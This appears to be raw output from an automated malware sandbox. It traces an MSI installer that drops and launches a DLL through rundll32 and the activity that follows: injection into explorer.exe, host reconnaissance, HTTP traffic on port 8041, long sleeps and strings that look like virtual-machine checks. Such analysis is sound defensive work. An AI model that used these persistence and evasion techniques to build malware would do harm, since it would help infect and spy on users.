Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source:	Binary string: kernel32.pdbUGP source: rundll32.exe, 00000006.00000003.2069928053.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: kernelbase.pdbUGP source: rundll32.exe, 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\BUILD\work\b69487f8af4577da\BUILDSENG\Release\x64\ArPotEx64.pdb source: rundll32.exe, 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmp, vierm_soft_x64.dll.1.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb: source: MSIF29D.tmp, 00000004.00000000.2061647641.0000000000FF7000.00000002.00000001.01000000.00000006.sdmp, MSIF29D.tmp, 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmp, MSI7623.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr
Source:	Binary string: ntdll.pdb source: rundll32.exe, 00000006.00000003.2066566980.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: kernel32.pdb source: rundll32.exe, 00000006.00000003.2069928053.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: rundll32.exe, 00000006.00000003.2066566980.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF160.tmp.1.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF160.tmp.1.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb source: MSIF29D.tmp, 00000004.00000000.2061647641.0000000000FF7000.00000002.00000001.01000000.00000006.sdmp, MSIF29D.tmp, 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmp, MSI7623.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr
Source:	Binary string: kernelbase.pdb source: rundll32.exe, 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp

Source: vierm_soft_x64.dll.1.dr

Static PE information: real checksum: 0x81152 should be: 0xbc113

Source: vierm_soft_x64.dll.1.dr	Static PE information: section name: memcpy_
Source: vierm_soft_x64.dll.1.dr	Static PE information: section name: _RDATA

Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FD323C push ecx; ret	4_2_00FD324F
Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_000001FF4C9900D8 push cs; retf	6_3_000001FF4C9900FD
Source: C:\Windows\explorer.exe	Code function: 8_2_0305EF4F push D5912897h; iretq	8_2_0305EF57
Source: C:\Windows\explorer.exe	Code function: 8_2_0305F5BA push rcx; ret	8_2_0305F5BC
Source: C:\Windows\explorer.exe	Code function: 8_2_0305EE21 push rsi; ret	8_2_0305EE27

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe

Executable created and started: C:\Windows\Installer\MSIF29D.tmp

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\vierm_soft_x64.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF29D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF101.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF1BF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF1DF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF160.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF29D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF101.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF1BF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF1DF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF160.tmp	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50052

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Code function: GetUserNameW,GetComputerNameExW,GetComputerNameExW,GetTokenInformation,GetNativeSystemInfo,GetAdaptersInfo,GetAdaptersInfo,	6_2_000001FF4CAF4D00
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,wsprintfA,wsprintfA,wsprintfA,GetComputerNameExA,wsprintfA,GetComputerNameExA,wsprintfA,	8_2_03058424
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	8_2_03057274

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 4125	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 5725	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 8824	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 429	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 881	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 867	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\vierm_soft_x64.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF101.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF1BF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF1DF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF160.tmp	Jump to dropped file

Source: C:\Windows\System32\rundll32.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_6-50480
Source: C:\Windows\Installer\MSIF29D.tmp	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_4-33659

Source: C:\Windows\Installer\MSIF29D.tmp

API coverage: 6.8 %

Source: C:\Windows\System32\msiexec.exe TID: 3452	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 3396	Thread sleep count: 4125 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 3396	Thread sleep time: -247500000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 3396	Thread sleep count: 5725 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 3396	Thread sleep time: -343500000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6148	Thread sleep count: 8824 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6148	Thread sleep time: -8824000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3924	Thread sleep count: 429 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3924	Thread sleep time: -42900s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6148	Thread sleep count: 243 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6148	Thread sleep time: -243000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FEAF79 FindFirstFileExW,	4_2_00FEAF79
Source: C:\Windows\explorer.exe	Code function: 8_2_0305A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0305A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_03052B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_03052B28
Source: C:\Windows\explorer.exe	Code function: 8_2_030604C0 FindFirstFileW,	8_2_030604C0

Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: explorer.exe, 00000008.00000003.3094523211.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
Source: explorer.exe, 00000008.00000000.2452717662.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000000.2452717662.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: explorer.exe, 00000008.00000002.3333615520.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000008.00000000.2446927908.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
Source: rundll32.exe, 00000006.00000002.3332076257.000001FF4AE58000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2171396063.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000008.00000003.3094346841.000000000C8C5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume1\??\Volume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000008.00000002.3333615520.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000008.00000003.3094523211.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
Source: rundll32.exe, 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: explorer.exe, 00000008.00000002.3333615520.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2171396063.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK
Source: rundll32.exe, 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: explorer.exe, 00000008.00000002.3333615520.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,p
Source: explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0#{5-
Source: explorer.exe, 00000008.00000000.2446927908.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000008.00000000.2452717662.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000002.3335475832.0000000007693000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\rundll32.exe

API call chain: ExitProcess graph end node

graph_6-49576

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000001FF4CADCCE0 LdrGetProcedureAddress,

6_2_000001FF4CADCCE0

Source: C:\Windows\Installer\MSIF29D.tmp

Code function: 4_2_00FBD0A5 IsDebuggerPresent,OutputDebugStringW,

4_2_00FBD0A5

Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FE2DCC mov ecx, dword ptr fs:[00000030h]		4_2_00FE2DCC
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FEAD78 mov eax, dword ptr fs:[00000030h]		4_2_00FEAD78

Source: C:\Windows\Installer\MSIF29D.tmp

Code function: 4_2_00FB2310 GetProcessHeap,

4_2_00FB2310

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\Installer\MSIF29D.tmp "C:\Windows\Installer\MSIF29D.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState

Jump to behavior

Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FD33A8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00FD33A8
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FD353F SetUnhandledExceptionFilter,	4_2_00FD353F
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FD2968 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00FD2968
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FD6E1B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00FD6E1B
